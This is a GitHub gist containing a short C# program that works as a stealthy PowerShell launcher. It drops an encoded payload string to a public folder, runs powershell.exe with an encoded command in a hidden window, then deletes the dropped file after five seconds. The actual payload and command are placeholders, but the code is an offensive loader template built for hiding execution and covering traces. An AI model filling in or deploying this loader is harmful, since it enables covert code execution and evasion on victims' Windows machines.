Skip to content

Instantly share code, notes, and snippets.

@peewpw
Created December 4, 2017 00:10
Show Gist options
  • Save peewpw/0c8f240d642fb554d83d3433b2e718fc to your computer and use it in GitHub Desktop.
Save peewpw/0c8f240d642fb554d83d3433b2e718fc to your computer and use it in GitHub Desktop.
using System.Threading;
using System.Diagnostics;
using System.IO;
namespace peewpw
{
static class Program
{
static string psc = "<encoded powershell payload>";
static void Main(string[] args)
{
File.WriteAllText(@"C:\Users\Public\test12.txt", psc);
Process process = new Process();
process.StartInfo.FileName = "powershell.exe";
process.StartInfo.Arguments = "-enc <base64 encoded command>";
process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
process.Start();
Thread.Sleep(5000);
File.Delete(@"C:\Users\Public\test12.txt");
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment